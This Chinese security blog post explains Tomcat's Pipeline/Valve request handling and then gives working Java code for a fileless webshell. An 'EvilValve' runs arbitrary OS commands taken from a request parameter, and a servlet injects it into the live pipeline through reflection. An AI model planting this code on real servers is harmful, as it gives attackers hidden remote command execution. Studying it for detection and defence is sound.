浅析Tomcat架构上的Valve内存马(内存马系列篇十一)

news2024/11/18 11:48:00

写在前面

这篇也是在Tomcat容器上面构造的内存马(收回之前说的不搞Tomcat了),这是建立在Tomcat的管道上面做文章的一个内存马的实现方式。这是内存马系列的第十一篇文章了。

前置

什么是Pipeline-Valve管道?

根据前面Tomcat架构的相关知识,我们是知道对于Tomcat中的Container层有四个容器:

Engine

Host

Context

Wrapper

四个容器的具体实现为。

image-20221001104548654.png

四个容器中都包含有自己的管道对象,管道对象用来存放若干阀门对象。Tomcat为其分别制定了一个默认的基础阀门。

image-20221001104820970.png

四个基础阀门放在各自容器管道的最后一位,用于查找下一级容器的管道在每个容器对象里面都有一个pipeline及valve模块。

在上层容器的管道的BaseValue 中会调用下层容器的管道。

对于Pipeline处理的流程图如下:

image-20221001104936955.png

流程分析

Container 中的Pipeline 在抽象实现类ContainerBase 中定义。

image-20221001112443299.png

而对于上面提到的标准valve实现,他们都继承了ContainerBase类,共同维护了同一个Pipeline对象

并且分别通过调用startInternal/stopInternal/destroyInternal等方法调用相应的生命周期。

image-20221001112845728.png

image-20221001112905560.png

image-20221001112915146.png

而又因为四个组件都是继承ContainerBase,所以,每个组件在执行生命周期的同时也会调用对应方法

我们跟进一下Valve的标准实现StandardPipeline,Tomcat将会通过调用ContainerBase#addValve方法的方式来将所有的valve通过链表的方式组织起来。

image-20221001113925509.png

进而调用的是pipeline.addValve方法,进而是StandardPipeline#addValve方法的调用。

image-20221001114632635.png

因为我并没有配置多余的Valve,所以,这个容器只有一个基础阀(this.first=null)将valve赋值给first变量,并且设置
valve的下一个阀门为基础阀。如果这里的first不为空,遍历阀门链表,将要被添加的阀门设置在 基础阀之前。

对于其生命周期的实现:

因为StandardPipeline类继承至LifecycleBase,
所以其分别调用startInternal/stopInternal/destroyInternal方法来进行执行

startlnternal 方法和stopInternal 方法处理的过程非常相似,都是使用临时变量current 来遍历Value 链里的所有Value
,如果first 为空则使用basic ,然后遍历所有Value 并调用相应的start 和stop
方法,然后设置相应的生命周期状态。destroyInternal 方法是删除所有Value。

image-20221001115859113.png

而该类对于请求处理的方法为:

Connector 在接收到请求后会调用最顶层容器的Pipeline 来处理,顶层容器的Pipeline 处理完之后就会在其BaseValue
里调用下一层容器的Pipeline 进行处理.这样就可以逐层调用所有容器的Pipeline 来处理了

我们可以定位到CoyoteAdapter#service方法中。

image-20221001120136313.png

在进行连接请求的时候,将会获取顶层容器的Pipeline,调用其invoke方法进行处理。

image-20221001120314439.png

虽然对应的StandardPipeline中的first为null,
但是可以调用其getFirst方法,获取到basic中的Valve,这里存放的就是下一层的Valve对象。

image-20221001120505743.png

之后又调用下一层的invoke方法。

image-20221001120742448.png

正文

分析注入

通过上面的分析,我们可以知道,在处理请求的时候,Pipeline管道主要是通过调用Valveinvoke方法来进行处理请求的。

所以,如果我们能够创建一个恶意的Valve,并将其添加进入Valve链中,那么在处理请求的时候,将会调用我们创建的Valve的invoke方法,进而执行恶意代码。

根据上面的分析,我们可以知道,对于Valve的添加,主要是通过StandardPipeline#addValve方法进行添加。

image-20221001124921944.png

将会将我们构建的Valve添加在first之后,basic之前。

实现内存马

总结一下步骤就应该为两步

  1. 创建一个恶意的Valve

  2. 调用StandardPipeline#addValve方法将其添加进Valve链

首先处理第一步,根据前面的分析,一个符合条件的恶意Valve是需要继承ValveBase这个抽象类的。

image-20221001125506003.png

所以我们继承了之后,重写其invoke方法。

package pres.test.momenshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;
import java.util.Scanner;

public class EvilValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                java.io.PrintWriter printWriter = response.getWriter();
                ProcessBuilder processBuilder;
                String o = "";
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    processBuilder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                } else {
                    processBuilder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
                }
                java.util.Scanner scanner = new Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
                o = scanner.hasNext() ? scanner.next() : o;
                scanner.close();
                printWriter.println(o);
                printWriter.flush();
                printWriter.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

之后第二步就是获取StandardPipeline,调用其addValve方法。

package pres.test.momenshell;

import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

public class AddTomcatValve extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            //循环获取 StandardContext对象
            while (o == null) {
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                Object object = context.get(servletContext);

                if (object instanceof ServletContext) {
                    servletContext = (ServletContext) object;
                } else if (object instanceof StandardContext) {
                    o = (StandardContext) object;
                }
            }
            // 添加自定义的Valve
            EvilValve evilValve = new EvilValve("aaa");
            o.getPipeline().addValve(evilValve);
            resp.getWriter().println("add successfully!!");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里是直接创建了一个Servlet进行注入,对于如何从当前线程中获取对应的StandardContext对象的各种方法总结将会在后面单独有一篇来讲述。之后在web.xml中进行配置,就可以访问这个Servlet了。

实例

相关的代码上面都有了,我们直接来看看效果,访问/addTomcatValve路由。

image-20221001152228180.png

成功注入内存马,我们测试是否成功注入。

image-20221001152303281.png

明显,成功写入了内存马。

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/374953.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

腾讯云卖向“有币”区块链

曾经坚决“不涉币”的腾讯云将业务延伸向“有币区块链”。 在首届 Web3 全球峰会“腾讯云Web3构建日”上,腾讯云宣布进军Web3,并公开了与Ankr、Avalanche、Scroll和Sui 四个原生区块链项目的合作,其中前两个项目都发行了加密货币&#xff0c…

关于Java中的静态块讲解

文章目录类的加载特性与时机类加载的特性类加载的时机static的三个常用地方什么是静态块?特点写法静态块 static怎么用?类的加载特性与时机 在介绍static之前可以先看看类的相关 类加载的特性 在JVM的生命周期里,每个类只会被加载一次。 类加载的原则&#xf…

老板让我在Linux中使用traceroute排查服务器网络问题,幸好我收藏了这篇文章!

一、前言 作为网络工程师或者运维工程师,traceroute命令不会陌生,它的作用类似于ping命令,用于诊断网络的连通性,不过traceroute命令输出的命令会比ping命令丰富的多,可以跟踪从源系统到目标系统的路径。 很多工程师…

jsp城乡信息管理系统

技术:Java、JSP等摘要:管理信息系统(Management System,简称MS)是一个由管理人员和计算机组成的用以进行信息的收集、传输、加工、存储、维护和使用的系统。它是一门综合了管理科学,系统理论,计…

WSL2:开发环境安装

写在前面 主要是记录一下如何安装和搭建基于WSL2的开发环境;参考博文:搭建优雅的Windows终端 Windows terminalscoopstarship; 一、安装WSL2 以管理员身份运行CMD,执行以下命令即可WSL和Linux的默认Ubuntu发行版: …

【聚类】谱聚类解读、代码示例

【聚类】谱聚类详解、代码示例 文章目录【聚类】谱聚类详解、代码示例1. 介绍2. 方法解读2.1 先验知识2.1.1 无向权重图2.1.2 拉普拉斯矩阵2.2 构建图(第一步)2.2.1 ϵ\epsilonϵ 邻近法2.2.2 k 近邻法2.2.3 全连接法2.3 切图(第二步&#xf…

基于jeecgboot的flowable的H5版本在演示系统发布

目前在NBCIO 亿事达企业管理平台上发布了H5的在线演示系统,欢迎大家批评指正。 在nbcio-vue nbcio-vue: NBCIO 亿事达企业管理平台前端代码,基于ant-design-vue-jeecg的前端版本: 3.0.0代码和和flowable6.7.2,初步完成了集流程设…

【Linux】安装MySQL

目录 1.检测当前系统是否安装过MySQL相关数据库 2. 卸载现有的MySQL数据库 3.上传解压 4.顺序安装rpm包 5.启动MySQL 6.查看临时密码 7.登录MySQL 8.开放端口 1.检测当前系统是否安装过MySQL相关数据库 需要通过rpm相关指令,来查询当前系统中是否存在已安…

无法将“django-admin”项识别为cmdlet,函数,脚本文件或可运行程序的名称问题

无法将“django admin”项识别为cmdlet,函数,脚本文件或可运行程序的名称问题 小提示:首先检查一下有没有拼写错误!!!没有的话请继续 我们要知道django装到哪里去了 pip show django 注意:3.0…

Flutter(二)第一个Flutter应用

1.默认应用 在Android Studio中创建好项目以后,项目的入口即是lib下的main.dart import package:flutter/material.dart;void main() {runApp(const MyApp()); } //无状态的组件(Stateless widget) class MyApp extends StatelessWidget {}…

基于paddlex的C#环境配置及其部署【附带安装包】

前言 最近应老师要求部署一个基于paddlex的C#环境,踩了一些坑,经过几个版本的安装测试,最终成功,这里记录一下。此次用到的所有软件的安装包如下: 补充的vs 2019安装包: 官方参考链接(没有环…

Meta利用视觉信息来优化3D音频模型,未来将用于AR/VR

我们知道,Meta为了给AR眼镜打造智能助手,专门开发了第一人称视觉模型和数据集。与此同时,该公司也在探索一种将视觉和语音融合的AI感知方案。相比于单纯的语音助手,同时结合视觉和声音数据来感知环境,可进一步增强智能…

ERD Online 4.0.9 在线数据库建模、元数据管理平台(免费、私有部署)

ERD Online 是全球第一个开源、免费在线数据建模、元数据管理平台。提供简单易用的元数据设计、关系图设计、SQL查询等功能,辅以版本、导入、导出、数据源、SQL解析、审计、团队协作等功能、方便我们快速、安全的管理数据库中的元数据。 4.0.9 ❝ feat(erd): 主键生…

Opencv项目实战:21 美国ASL手势识别

0、项目介绍 首先,我可以保证在这里,你并不需要多么了解深的机器学习算法,我的初衷是通过本项目,激发大家学习机器学习的动力。选择这种手势原因是因为只有24个字母,你的电脑足以带的动,虽然我只训练A、B、…

group by聚合分组后如何获取分组数据

之前用group by分组后一直困惑怎么把分组后的数据拿到,因为分组后同一组的只有一条数据,最后发现了group_concat函数。记录一下,以后能用。语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator…

【MySQL - InnoDB 存储结构】行格式详解

我们平时对 MySQL 的了解都只是限制在使用层面上,但是难道你就没有一个时刻好奇 MySQL 的内部结构嘛,我们通过 SQL 语句插入的一条条记录在 MySQL 底层到底是以什么格式存储的呢 ? 本文就将以 InnoDB 存储引擎为例子,介绍 MySQL 存…

专科top4|临床医生CSC公派博士后美国凯斯西储大学医院赴职

Q医生符合CSC公派博士后申报条件,我们先为其取得Hopkins的邀请函并获CSC批准,后因导师失联,为保险起见,我们又继续申请并获得凯斯西储大学医学院彩虹宝宝和儿童医院的邀请函,该院连续20年被评为全美最好儿童医院&#…

【vulhub漏洞复现】CVE-2015-5254 ActiveMQ反序列化漏洞

一、漏洞详情Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。配置Apache ActiveMQ需要提前有jdk的环境。基于MQTT,消息订阅和分…

Javascript的API基本内容(三)

一、事件流 假设页面里有个div,当触发事件时,会经历两个阶段,分别是捕获阶段、冒泡阶段简单来说:捕获阶段是 从父到子 冒泡阶段是从子到父实际工作都是使用事件冒泡为主 二、页面加载事件 加载外部资源(如图片、外联CS…

Portraiture4免费磨皮插件支持PS/LR

Portraiture 4免去了繁琐的手工劳动,选择性的屏蔽和由像素的平滑,以帮助您实现卓越的肖像润色。智能平滑,并删除不完善之处,同时保持皮肤的纹理和其他重要肖像的细节,如头发,眉毛,睫毛等。 一键…